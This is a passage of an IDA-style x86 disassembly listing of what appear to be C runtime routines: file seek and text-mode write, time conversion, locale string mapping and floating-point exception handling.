ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBA08 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427910o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427920 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43CFA4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427930o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:00427934o mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427928o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DCFE8 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DCFE4 nop call near ptr 2660000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43D46C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43D388 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43D38C, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43D390 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DCDA0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB958, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2760000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call near ptr 2680ABEh nop jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB95C, 0 mov dword_4DB958, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DCCA0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB958, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DCDA0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB958, 9 mov dword_4DB95C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2680ABEh mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26F0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2680ABEh mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB958, 1Ch mov dword_4DB95C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB95C, 0 mov dword_4DB958, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427940 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBA2C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427938 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422B1E mov dword_4DBA2C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CB50C push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422C58 mov dword_4DBA2C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DBA2C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DBA24 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2810000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2810000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 280105Fh mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DBA30 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBA30, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43D020 mov edx, dword_43D024 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43CFB0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43D02C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43D02C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43D02C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43D02C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43D02C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43D02C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43D02C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43D02C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43D02C push 8 call ebx pop ecx mov dword_43D02C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DBA30, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] nop call near ptr 2630000h loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D028 cmp dword_43CFA8, edx push esi mov eax, offset dword_43CFA8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43CFA8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CFA8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DCFF4, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE 